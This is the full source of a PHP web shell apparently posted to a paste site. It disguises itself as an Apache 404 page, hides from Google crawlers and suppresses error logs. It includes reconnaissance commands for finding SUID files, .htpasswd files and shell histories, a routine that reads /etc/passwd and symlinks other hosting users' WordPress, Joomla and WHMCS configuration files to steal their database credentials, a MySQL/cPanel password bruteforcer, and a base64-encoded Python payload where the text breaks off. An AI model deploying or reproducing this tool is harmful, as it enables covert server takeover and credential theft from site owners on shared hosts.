· 9 years ago · Sep 12, 2017, 12:22 AM
1
2<?php
3/* modified by 13chmod37 */
4$auth_pass = "39104075a8501765826544563e826d7b";
5$color = "#7FFF00";
6$default_action = 'FilesMan';
7@define('SELF_PATH', __FILE__);
8if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
9 header('HTTP/1.0 404 Not Found');
10 exit;
11}
12@session_start();
13@error_reporting(0);
14@ini_set('error_log',NULL);
15@ini_set('log_errors',0);
16@ini_set('max_execution_time',0);
17@set_time_limit(0);
18@set_magic_quotes_runtime(0);
19@define('VERSION', '2.2');
20if( get_magic_quotes_gpc() ) {
21 function stripslashes_array($array) {
22 return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
23 }
24 $_POST = stripslashes_array($_POST);
25}
26function printLogin() {
27 ?>
28<h1>Not Found</h1>
29<p>The requested URL was not found on this server.</p>
30<hr>
31<address>Apache Server at <?php echo $_SERVER['HTTP_HOST']?> Port 80</address>
32 <style>
33 input { margin:0;background-color:#fff;border:1px solid #fff; }
34 </style>
35 <center>
36 <form method=post>
37 <input type=password name=pass>
38 </form></center>
39 <?php
40 exit;
41}
42if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
43 if( empty( $auth_pass ) ||
44 ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
45 $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
46 else
47 printLogin();
48
49if( strtolower( substr(PHP_OS,0,3) ) == "win" )
50 $os = 'win';
51else
52 $os = 'nix';
53$safe_mode = @ini_get('safe_mode');
54$disable_functions = @ini_get('disable_functions');
55$home_cwd = @getcwd();
56if( isset( $_POST['c'] ) )
57 @chdir($_POST['c']);
58$cwd = @getcwd();
59if( $os == 'win') {
60 $home_cwd = str_replace("\\", "/", $home_cwd);
61 $cwd = str_replace("\\", "/", $cwd);
62}
63if( $cwd[strlen($cwd)-1] != '/' )
64 $cwd .= '/';
65
66if($os == 'win')
67 $aliases = array(
68 "List Directory" => "dir",
69 "Find index.php in current dir" => "dir /s /w /b index.php",
70 "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
71 "Show active connections" => "netstat -an",
72 "Show running services" => "net start",
73 "User accounts" => "net user",
74 "Show computers" => "net view",
75 "ARP Table" => "arp -a",
76 "IP Configuration" => "ipconfig /all"
77 );
78else
79 $aliases = array(
80 "List dir" => "ls -la",
81 "list file attributes on a Linux second extended file system" => "lsattr -va",
82 "show opened ports" => "netstat -an | grep -i listen",
83 "Find" => "",
84 "find all suid files" => "find / -type f -perm -04000 -ls",
85 "find suid files in current dir" => "find . -type f -perm -04000 -ls",
86 "find all sgid files" => "find / -type f -perm -02000 -ls",
87 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
88 "find config.inc.php files" => "find / -type f -name config.inc.php",
89 "find config* files" => "find / -type f -name \"config*\"",
90 "find config* files in current dir" => "find . -type f -name \"config*\"",
91 "find all writable folders and files" => "find / -perm -2 -ls",
92 "find all writable folders and files in current dir" => "find . -perm -2 -ls",
93 "find all service.pwd files" => "find / -type f -name service.pwd",
94 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
95 "find all .htpasswd files" => "find / -type f -name .htpasswd",
96 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
97 "find all .bash_history files" => "find / -type f -name .bash_history",
98 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
99 "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
100 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
101 "Locate" => "",
102 "locate httpd.conf files" => "locate httpd.conf",
103 "locate vhosts.conf files" => "locate vhosts.conf",
104 "locate proftpd.conf files" => "locate proftpd.conf",
105 "locate psybnc.conf files" => "locate psybnc.conf",
106 "locate my.conf files" => "locate my.conf",
107 "locate admin.php files" =>"locate admin.php",
108 "locate cfg.php files" => "locate cfg.php",
109 "locate conf.php files" => "locate conf.php",
110 "locate config.dat files" => "locate config.dat",
111 "locate config.php files" => "locate config.php",
112 "locate config.inc files" => "locate config.inc",
113 "locate config.inc.php" => "locate config.inc.php",
114 "locate config.default.php files" => "locate config.default.php",
115 "locate config* files " => "locate config",
116 "locate .conf files"=>"locate '.conf'",
117 "locate .pwd files" => "locate '.pwd'",
118 "locate .sql files" => "locate '.sql'",
119 "locate .htpasswd files" => "locate '.htpasswd'",
120 "locate .bash_history files" => "locate '.bash_history'",
121 "locate .mysql_history files" => "locate '.mysql_history'",
122 "locate .fetchmailrc files" => "locate '.fetchmailrc'",
123 "locate backup files" => "locate backup",
124 "locate dump files" => "locate dump",
125 "locate priv files" => "locate priv"
126 );
127
128function printHeader() {
129 if(empty($_POST['charset']))
130 $_POST['charset'] = "UTF-8";
131 global $color;
132 ?>
133<html><head><meta http-equiv='Content-Type' content='text/html; charset=<?php echo $_POST['charset']?>'><title><?php echo $_SERVER['HTTP_HOST']?>- Error 404 Not Found.<?php echo VERSION?></title>
134<style>
135 body {background-color:#000;color:#fff;}
136 body,td,th { font: 9pt Lucida,Verdana;margin:0;vertical-align:top; }
137 span,h1,a { color:<?php echo $color;?> !important; }
138 span { font-weight: bolder; }
139 h1 { border:1px solid <?php echo $color?>;padding: 2px 5px;font: 14pt Verdana;margin:0px; }
140 div.content { padding: 5px;margin-left:5px;}
141 a { text-decoration:none; }
142 a:hover { background:#5e5e5e; }
143 .ml1 { border:1px solid #444;padding:5px;margin:0;overflow: auto; }
144 .bigarea { width:100%;height:250px; }
145 input, textarea, select { margin:0;color:#00ff00;background-color:#000;border:1px solid <?php echo $color?>; font: 9pt Monospace,"Courier New"; }
146 input[type="button"]:hover,input[type="submit"]:hover {background-color:<?php echo $color?>;color:#000;}
147 form { margin:0px; }
148 #toolsTbl { text-align:center; }
149 .toolsInp { width: 80%; }
150 .main th {text-align:left;}
151 .main tr:hover{background-color:#5e5e5e;}
152 .main td, th{vertical-align:middle;}
153 pre {font-family:Courier,Monospace;}
154 #cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}
155 .logo {text-align:center;font-size:60px;margin-top: 6px;}
156 .logo sup {font-size: 15px;vertical-align: top;margin-left: -14px;}
157 .cpr {color:<?php echo $color;?>; margin-bottom:5px;}
158 .cpb {width:34px;margin:0 5px;}
159</style>
160<script>
161 function set(a,c,p1,p2,p3,charset) {
162 if(a != null)document.mf.a.value=a;
163 if(c != null)document.mf.c.value=c;
164 if(p1 != null)document.mf.p1.value=p1;
165 if(p2 != null)document.mf.p2.value=p2;
166 if(p3 != null)document.mf.p3.value=p3;
167 if(charset != null)document.mf.charset.value=charset;
168 }
169 function g(a,c,p1,p2,p3,charset) {
170 set(a,c,p1,p2,p3,charset);
171 document.mf.submit();
172 }
173 function a(a,c,p1,p2,p3,charset) {
174 set(a,c,p1,p2,p3,charset);
175 var params = "ajax=true";
176 for(i=0;i<document.mf.elements.length;i++)
177 params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);
178 sr('<?php echo $_SERVER['REQUEST_URI'];?>', params);
179 }
180 function sr(url, params) {
181 if (window.XMLHttpRequest) {
182 req = new XMLHttpRequest();
183 req.onreadystatechange = processReqChange;
184 req.open("POST", url, true);
185 req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
186 req.send(params);
187 }
188 else if (window.ActiveXObject) {
189 req = new ActiveXObject("Microsoft.XMLHTTP");
190 if (req) {
191 req.onreadystatechange = processReqChange;
192 req.open("POST", url, true);
193 req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
194 req.send(params);
195 }
196 }
197 }
198 function processReqChange() {
199 if( (req.readyState == 4) )
200 if(req.status == 200) {
201 //alert(req.responseText);
202 var reg = new RegExp("(\\d+)([\\S\\s]*)", "m");
203 var arr=reg.exec(req.responseText);
204 eval(arr[2].substr(0, arr[1]));
205 }
206 else alert("Request error!");
207 }
208</script>
209<head><body><div style="position:absolute;width:100%;top:0;left:0;">
210<form method=post name=mf style='display:none;'>
211<input type=hidden name=a value='<?php echo isset($_POST['a'])?$_POST['a']:''?>'>
212<input type=hidden name=c value='<?php echo htmlspecialchars($GLOBALS['cwd'])?>'>
213<input type=hidden name=p1 value='<?php echo isset($_POST['p1'])?htmlspecialchars($_POST['p1']):''?>'>
214<input type=hidden name=p2 value='<?php echo isset($_POST['p2'])?htmlspecialchars($_POST['p2']):''?>'>
215<input type=hidden name=p3 value='<?php echo isset($_POST['p3'])?htmlspecialchars($_POST['p3']):''?>'>
216<input type=hidden name=charset value='<?php echo isset($_POST['charset'])?$_POST['charset']:''?>'>
217</form>
218<?php
219 $freeSpace = @diskfreespace($GLOBALS['cwd']);
220 $totalSpace = @disk_total_space($GLOBALS['cwd']);
221 $totalSpace = $totalSpace?$totalSpace:1;
222 $release = @php_uname('r');
223 $kernel = @php_uname('s');
224 $edblink="http://www.exploit-db.com/search/?action=search&filter_description=";
225 $millink='<form action="http://1337day.com/search" method="post" id="mil" target="_blank" style="display:inline;"><a href="#" onclick="javascript:document.forms[\'mil\'].submit()">[1337day.com]</a>';
226 if( strpos('Linux', $kernel) !== false ){
227 $millink .= '<input type="hidden" name="dong" value="' . urlencode( 'Linux Kernel ' . substr($release,0,6)) . '"/></form>';
228 $edblink .= urlencode( 'Linux Kernel ' . substr($release,0,6) );
229 } else {
230 $millink .= '<input type="hidden" name="dong" value="' . urlencode( $kernel . ' ' . substr($release,0,3)) . '"/></form>';
231 $edblink .= urlencode( $kernel . ' ' . substr($release,0,3) );
232 }
233
234 if(!function_exists('posix_getegid')) {
235 $user = @get_current_user();
236 $uid = @getmyuid();
237 $gid = @getmygid();
238 $group = "?";
239 } else {
240 $uid = @posix_getpwuid(@posix_geteuid());
241 $gid = @posix_getgrgid(@posix_getegid());
242 $user = $uid['name'];
243 $uid = $uid['uid'];
244 $group = $gid['name'];
245 $gid = $gid['gid'];
246 }
247 $cwd_links = '';
248 $path = explode("/", $GLOBALS['cwd']);
249 $n=count($path);
250 for($i=0;$i<$n-1;$i++) {
251 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
252 for($j=0;$j<=$i;$j++)
253 $cwd_links .= $path[$j].'/';
254 $cwd_links .= "\")'>".$path[$i]."/</a>";
255 }
256 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
257 $opt_charsets = '';
258 foreach($charsets as $item)
259 $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
260 $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network','Symlink'=>'Symlink','cPanel Cracker'=>'Cpanel');
261 if(!empty($GLOBALS['auth_pass']))
262 $m['Logout'] = 'Logout';
263 $m['Self remove'] = 'SelfRemove';
264 $menu = '';
265 foreach($m as $k => $v)
266 $menu .= '<th>[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
267 $drives = "";
268 if ($GLOBALS['os'] == 'win') {
269 foreach( range('a','z') as $drive )
270 if (is_dir($drive.':\\'))
271 $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
272 }
273 echo '<table class="info" cellpadding="3" cellspacing="0" width="100%"><tr><td width="150"><div class="logo">?</div></td><td width=1><span>Uname<br>User<br>Php<br>Hdd<br>Cwd'.($GLOBALS['os'] == 'win'?'<br>Drives':'').'</span></td>'.
274 '<td>:<nobr>'.substr(@php_uname(), 0, 120).' <a href="http://www.google.com/search?q='.urlencode(@php_uname()).'" target="_blank">[Google]</a> <a href="'.$edblink.'" target=_blank>[exploit-db.com]</a> '.$millink.'</nobr><br>:'.$uid.' ( '.$user.' ) <span>Group:</span> '.$gid.' ( '.$group.' )<br>:'.@phpversion().' <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=white><b>OFF</b></font>').' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s').'<br>:'.viewSize($totalSpace).' <span>Free:</span> '.viewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>:'.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a><br>:'.$drives.'</td>'.
275 '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">'.$opt_charsets.'</optgroup></select><br><span>Server IP:</span><br>'.gethostbyname($_SERVER["HTTP_HOST"]).'<br><span>Client IP:</span><br>'.$_SERVER['REMOTE_ADDR'].'</nobr></td></tr></table>'.
276 '<br/><table cellpadding=3 cellspacing=0 width=100%><tr>'.$menu.'</tr></table><div style="margin:5">';
277}
278
279
280function printFooter() {
281 $is_writable = is_writable($GLOBALS['cwd'])?"<font color=green>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
282?>
283
284<!- Coded By 13CHMOD37 , Thanks To Sinkaroid ->
285<br><center><div id="menu">
286[<a href="?<?php echo "path=".$path; ?>&x=grab">GREPE CONFIG</a>] -
287[<a href="?<?php echo "path=".$path; ?>&x=vn">Domain Viewer</a>] -
288[<a href="?<?php echo "path=".$path; ?>&x=cpanel">Cpanel Tool</a>] -
289[<a href="?<?php echo "path=".$path; ?>&x=masstool">Mass Tool</a>] -
290<br><br><p>
291[<a href="?<?php echo "path=".$path; ?>&x=krdp">RDP</a>] -
292[<a href="?<?php echo "path=".$path; ?>&x=dump">Dump Mail</a>] -
293[<a href="?<?php echo "path=".$path; ?>&x=tentang">About</a>] -
294[<a href="?logout">Logout</a>]
295</div></center>
296<p>
297<center><br><br>
298<?php
299###
300echo '
301 <style type="text/css">
302 #menu{
303 background:#000000;
304 margin:8px 2px 4px 2px;
305}
306#menu a{
307 padding:3px 3px;
308 margin:1;
309 background:#2d2b2b;
310 text-decoration:none;
311 letter-spacing:2px;
312 -moz-border-radius: 10px; -webkit-border-radius: 5px; -khtml-border-radius: 5px; border-radius: 5px;
313
314}
315#menu a:hover{
316 background:black;
317 border-bottom:1px solid #ffffff;
318 border-top:1px solid #ffffff;
319
320}
321</style>';
322
323
324if(isset($_GET['x']) && ($_GET['x'] == 'grab')){
325 ?>
326 <form action="?path=<?php echo $path; ?>&x=grab" method="post">
327 <?php
328echo "
329<body bgcolor=black>
330<form method='POST'>
331<style>
332textarea {
333resize:none;
334color: #000000 ;
335background-color:#000000;
336font-size:8pt; color:#ffffff;
337border:1px solid white ;
338border-left: 4px solid white ;
339width:543px;
340height:400px;
341}
342input {
343color: #000000;
344border:1px dotted white;
345}
346</style>";
347echo "<center>";?></center><br><center><?php if (empty($_POST['config'])) { ?><p><font face="Tahoma" color="#007700" size="2pt">/etc/passwd content</p><br><form method="POST"><textarea name="passwd" class='area' rows='15' cols='60'><?php echo file_get_contents('/etc/passwd'); ?></textarea><br><br><input name="config" class='inputzbut' size="100" value="Grab!" type="submit"><br></form></center><br><?php }if ($_POST['config']) {$function = $functions=@ini_get("disable_functions");if(eregi("symlink",$functions)){die ('<error>Symlink disabled :( </error>');}@mkdir('pasirgrab', 0755);@chdir('sc0');
348$htaccess="
349OPTIONS Indexes FollowSymLinks SymLinksIfOwnerMatch Includes IncludesNOEXEC ExecCGI
350Options Indexes FollowSymLinks
351ForceType text/plain
352AddType text/plain .php
353AddType text/plain .html
354AddType text/html .shtml
355AddType txt .php
356AddHandler server-parsed .php
357AddHandler txt .php
358AddHandler txt .html
359AddHandler txt .shtml
360Options All
361Options All";
362file_put_contents(".htaccess",$htaccess,FILE_APPEND);$passwd=$_POST["passwd"];
363$passwd=explode("\n",$passwd);
364echo "<br><br><center><font color=#b0b000 size=2pt>wait!</center><br>";
365foreach($passwd as $pwd){
366$pawd=explode(":",$pwd);$user =$pawd[0];
367@symlink('/home/'.$user.'/public_html/wp-config.php',$user.'-wp13.txt');
368@symlink('/home/'.$user.'/public_html/wp/wp-config.php',$user.'-wp13-wp.txt');
369@symlink('/home/'.$user.'/public_html/WP/wp-config.php',$user.'-wp13-WP.txt');
370@symlink('/home/'.$user.'/public_html/wp/beta/wp-config.php',$user.'-wp13-wp-beta.txt');
371@symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp13-beta.txt');
372@symlink('/home/'.$user.'/public_html/press/wp-config.php',$user.'-wp13-press.txt');
373@symlink('/home/'.$user.'/public_html/wordpress/wp-config.php',$user.'-wp13-wordpress.txt');
374@symlink('/home/'.$user.'/public_html/Wordpress/wp-config.php',$user.'-wp13-Wordpress.txt');
375@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp13-Wordpress.txt');
376@symlink('/home/'.$user.'/public_html/config.php',$user.'-configgg.txt');
377@symlink('/home/'.$user.'/public_html/news/wp-config.php',$user.'-wp13-news.txt');
378@symlink('/home/'.$user.'/public_html/new/wp-config.php',$user.'-wp13-new.txt');
379@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp-blog.txt');
380@symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp-beta.txt');
381@symlink('/home/'.$user.'/public_html/blogs/wp-config.php',$user.'-wp-blogs.txt');
382@symlink('/home/'.$user.'/public_html/home/wp-config.php',$user.'-wp-home.txt');
383@symlink('/home/'.$user.'/public_html/db.php',$user.'-dbconf.txt');
384@symlink('/home/'.$user.'/public_html/site/wp-config.php',$user.'-wp-site.txt');
385@symlink('/home/'.$user.'/public_html/main/wp-config.php',$user.'-wp-main.txt');
386@symlink('/home/'.$user.'/public_html/configuration.php',$user.'-wp-test.txt');
387@symlink('/home/'.$user.'/public_html/joomla/configuration.php',$user.'-joomla2.txt');
388@symlink('/home/'.$user.'/public_html/portal/configuration.php',$user.'-joomla-protal.txt');
389@symlink('/home/'.$user.'/public_html/joo/configuration.php',$user.'-joo.txt');
390@symlink('/home/'.$user.'/public_html/cms/configuration.php',$user.'-joomla-cms.txt');
391@symlink('/home/'.$user.'/public_html/site/configuration.php',$user.'-joomla-site.txt');
392@symlink('/home/'.$user.'/public_html/main/configuration.php',$user.'-joomla-main.txt');
393@symlink('/home/'.$user.'/public_html/news/configuration.php',$user.'-joomla-news.txt');
394@symlink('/home/'.$user.'/public_html/new/configuration.php',$user.'-joomla-new.txt');
395@symlink('/home/'.$user.'/public_html/home/configuration.php',$user.'-joomla-home.txt');
396@symlink('/home/'.$user.'/public_html/vb/includes/config.php',$user.'-vb-config.txt');
397@symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm15.txt');
398@symlink('/home/'.$user.'/public_html/central/configuration.php',$user.'-whm-central.txt');
399@symlink('/home/'.$user.'/public_html/whm/whmcs/configuration.php',$user.'-whm-whmcs.txt');
400@symlink('/home/'.$user.'/public_html/whm/WHMCS/configuration.php',$user.'-whm-WHMCS.txt');
401@symlink('/home/'.$user.'/public_html/whmc/WHM/configuration.php',$user.'-whmc-WHM.txt');
402@symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$user.'-whmcs.txt');
403@symlink('/home/'.$user.'/public_html/support/configuration.php',$user.'-support.txt');
404@symlink('/home/'.$user.'/public_html/configuration.php',$user.'-joomla.txt');
405@symlink('/home/'.$user.'/public_html/submitticket.php',$user.'-whmcs2.txt');
406@symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm.txt');}
407echo "<b class='cone'><font face='Tahoma' color='#00dd00' size='2pt'><b>Done -></b>
408<a target='_blank' href='pasirgrab'>Open configs</a></font></b>";
409}
410}
411/// udahan grab nya
412/// start cpanel brute
413elseif(isset($_GET['x']) && ($_GET['x'] == 'brute'))
414 {
415 ?>
416 <form action="?path=<?php echo $path; ?>&x=brute" method="post">
417<?php
418
419@set_time_limit(0);
420@error_reporting(0);
421
422
423if($_POST['page']=='find')
424{
425if(isset($_POST['usernames']) && isset($_POST['passwords']))
426{
427 if($_POST['type'] == 'passwd'){
428 $e = explode("\n",$_POST['usernames']);
429 foreach($e as $value){
430 $k = explode(":",$value);
431 $username .= $k['0']." ";
432 }
433 }elseif($_POST['type'] == 'simple'){
434 $username = str_replace("\n",' ',$_POST['usernames']);
435 }
436 $a1 = explode(" ",$username);
437 $a2 = explode("\n",$_POST['passwords']);
438 $id2 = count($a2);
439 $ok = 0;
440 foreach($a1 as $user )
441 {
442 if($user !== '')
443 {
444 $user=trim($user);
445 for($i=0;$i<=$id2;$i++)
446 {
447 $pass = trim($a2[$i]);
448 if(@mysql_connect('localhost',$user,$pass))
449 {
450 echo "Zoo!! ~ user is (<b><font color=white>$user</font></b>) Password is (<b><font color=white>$pass</font></b>)<br />";
451 $ok++;
452 }
453 }
454 }
455 }
456 echo "<hr><b>You Found <font color=red>$ok</font> Cpanel</b>";
457 echo "<center><b><a href=".$_SERVER['PHP_SELF']."?brute>BACK</a>";
458 exit;
459}
460}
461if($_POST['pass']=='password'){
462@error_reporting(0);
463$i = getenv('REMOTE_ADDR');
464$d = date('D, M jS, Y H:i',time());
465$h = $_SERVER['HTTP_HOST'];
466$dir=$_SERVER['PHP_SELF'];
467mkdir('config',0755);
468$cp =
469'IyEvdXNyL2Jpbi9lbnYgcHl0aG9uDQoNCicnJw0KQnk6IEFobWVkIFNoYXdreSBha2EgbG54ZzMzaw0KdGh4OiBPYnp5LCBSZWxpaywgbW9oYWIgYW5kICNhcmFicHduIA0KJycnDQoNCmltcG9ydCBzeXMNCmltcG9ydCBvcw0KaW1wb3J0IHJlDQppbXBvcnQgc3VicHJvY2Vzcw0KaW1wb3J0IHVybGxpYg0KaW1wb3J0IGdsb2INCmZyb20gcGxhdGZvcm0gaW1wb3J0IHN5c3RlbQ0KDQppZiBsZW4oc3lzLmFyZ3YpICE9IDM6DQogIHByaW50JycnCQ0KIFVzYWdlOiAlcyBbVVJMLi4uXSBbZGlyZWN0b3J5Li4uXQ0KIEV4KSAlcyBodHRwOi8vd3d3LnRlc3QuY29tL3Rlc3QvIFtkaXIgLi4uXScnJyAlIChzeXMuYXJndlswXSwgc3lzLmFyZ3ZbMF0pDQogIHN5cy5leGl0KDEpDQoNCnNpdGUgPSBzeXMuYXJndlsxXQ0KZm91dCA9IHN5cy5hcmd2WzJdDQoNCnRyeToNCiAgcmVxICA9IHVybGxpYi51cmxvcGVuKHNpdGUpDQogIHJlYWQgPSByZXEucmVhZCgpDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgZiA9IG9wZW4oJy90bXAvZGF0YS50eHQnLCAndycpDQogICAgZi53cml0ZShyZWFkKQ0KICAgIGYuY2xvc2UoKQ0KICBpZiBzeXN0ZW0oKSA9PSAnV2luZG93cyc6DQogICAgZiA9IG9wZW4oJ2RhdGEudHh0JywgJ3cnKSAgDQogICAgZi53cml0ZShyZWFkKQ0KICAgIGYuY2xvc2UoKQ0KDQogIGkgPSAwDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgZiA9IG9wZW4oJy90bXAvZGF0YS50eHQnLCAnclUnKQ0KICAgIGZvciBsaW5lIGluIGY6DQogICAgICBpZiBsaW5lLnN0YXJ0c3dpdGgoJzxsaT48YScpID09IFRydWUgOg0KICAgICAgICBtID0gcmUuc2VhcmNoKHInKDxhIGhyZWY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0uZ3JvdXAoMiksIGxvY2FsX25hbWUpDQogICAgICAgIGV4Y2VwdCBJT0Vycm9yOg0KICAgICAgICAgIHByaW50ICdcblslc10gZG9lc25cJ3QgZXhpc3QsIGNyZWF0ZSBpdCBmaXJzdCcgJSBmb3V0DQogICAgICAgICAgc3lzLmV4aXQoKQ0KICAgICAgaWYgbGluZS5zdGFydHN3aXRoKCc8aW1nJykgPT0gVHJ1ZToNCiAgICAgICAgbTEgPSByZS5zZWFyY2gocicoPGEgaHJlZj0iKSguK1tePl0pKCI+KScsIGxpbmUpDQogICAgICAgIGkgKz0gMQ0KICAgICAgICBsb2NhbF9uYW1lID0gJyVzL2ZpbGUlZC50eHQnICUgKGZvdXQsIGkpDQogICAgICAgIHByaW50ICdSZXRyaWV2aW5nLi4uXHRcdCcsIHNpdGUgKyBtMS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0xLmdyb3VwKDIpLCBsb2NhbF9uYW1lKQ0KICAgICAgICBleGNlcHQgSU9FcnJvcjoNCiAgICAgICAgICBwcmludCAnXG5bJXNdIGRvZXNuXCd0IGV4aXN0LCBjcmVhdGUgaXQgZmlyc3QnICUgZm91dA0KICAgICAgICAgIHN5cy5leGl0KCkNCiAgICAgIGlmIGxpbmUuc3RhcnRzd2l0aCgnPElNRycpID09IFRydWU6DQogICAgICAgIG0yID0gcmUuc2VhcmNoKHInKDxBIEhSRUY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbTIuZ3JvdXAoMikNCiAgICAgICAgdHJ5OiAgdXJsbGliLnVybHJldHJpZXZlKHNpdGUgKyBtMi5ncm91cCgyKSwgbG9jYWxfbmFtZSkNCiAgICAgICAgZXhjZXB0IElPRXJyb3I6DQogICAgICAgICAgcHJpbnQgJ1xuWyVzXSBkb2VzblwndCBleGlzdCwgY3JlYXRlIGl0IGZpcnN0JyAlIGZvdXQNCiAgICAgICAgICBzeXMuZXhpdCgpDQogICAgZi5jbG9zZSgpDQogIGlmIHN5c3RlbSgpID09ICdXaW5kb3dzJzoNCiAgICBmID0gb3BlbignZGF0YS50eHQnLCAnclUnKQ0KICAgIGZvciBsaW5lIGluIGY6DQogICAgICBpZiBsaW5lLnN0YXJ0c3dpdGgoJzxsaT48YScpID09IFRydWUgOg0KICAgICAgICBtID0gcmUuc2VhcmNoKHInKDxhIGhyZWY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0uZ3JvdXAoMiksIGxvY2FsX25hbWUpDQogICAgICAgIGV4Y2VwdCBJT0Vycm9yOg0KICAgICAgICAgIHByaW50ICdcblslc10gZG9lc25cJ3QgZXhpc3QsIGNyZWF0ZSBpdCBmaXJzdCcgJSBmb3V0DQogICAgICAgICAgc3lzLmV4aXQoKQ0KICAgICAgaWYgbGluZS5zdGFydHN3aXRoKCc8aW1nJykgPT0gVHJ1ZToNCiAgICAgICAgbTEgPSByZS5zZWFyY2gocicoPGEgaHJlZj0iKSguK1tePl0pKCI+KScsIGxpbmUpDQogICAgICAgIGkgKz0gMQ0KICAgICAgICBsb2NhbF9uYW1lID0gJyVzL2ZpbGUlZC50eHQnICUgKGZvdXQsIGkpDQogICAgICAgIHByaW50ICdSZXRyaWV2aW5nLi4uXHRcdCcsIHNpdGUgKyBtMS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0xLmdyb3VwKDIpLCBsb2NhbF9uYW1lKQ0KICAgICAgICBleGNlcHQgSU9FcnJvcjoNCiAgICAgICAgICBwcmludCAnXG5bJXNdIGRvZXNuXCd0IGV4aXN0LCBjcmVhdGUgaXQgZmlyc3QnICUgZm91dA0KICAgICAgICAgIHN5cy5leGl0KCkNCiAgICAgIGlmIGxpbmUuc3RhcnRzd2l0aCgnPElNRycpID09IFRydWU6DQogICAgICAgIG0yID0gcmUuc2VhcmNoKHInKDxBIEhSRUY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbTIuZ3JvdXAoMikNCiAgICAgICAgdHJ5OiAgdXJsbGliLnVybHJldHJpZXZlKHNpdGUgKyBtMi5ncm91cCgyKSwgbG9jYWxfbmFtZSkNCiAgICAgICAgZXhjZXB0IElPRXJyb3I6DQogICAgICAgICAgcHJpbnQgJ1xuWyVzXSBkb2VzblwndCBleGlzdCwgY3JlYXRlIGl0IGZpcnN0JyAlIGZvdXQNCiAgICAgICAgICBzeXMuZXhpdCgpDQogICAgZi5jbG9zZSgpDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgY2xlYW51cCA9IHN1YnByb2Nlc3MuUG9wZW4oJ3JtIC1yZiAvdG1wL2RhdGEudHh0ID4gL2Rldi9udWxsJywgc2hlbGw9VHJ1ZSk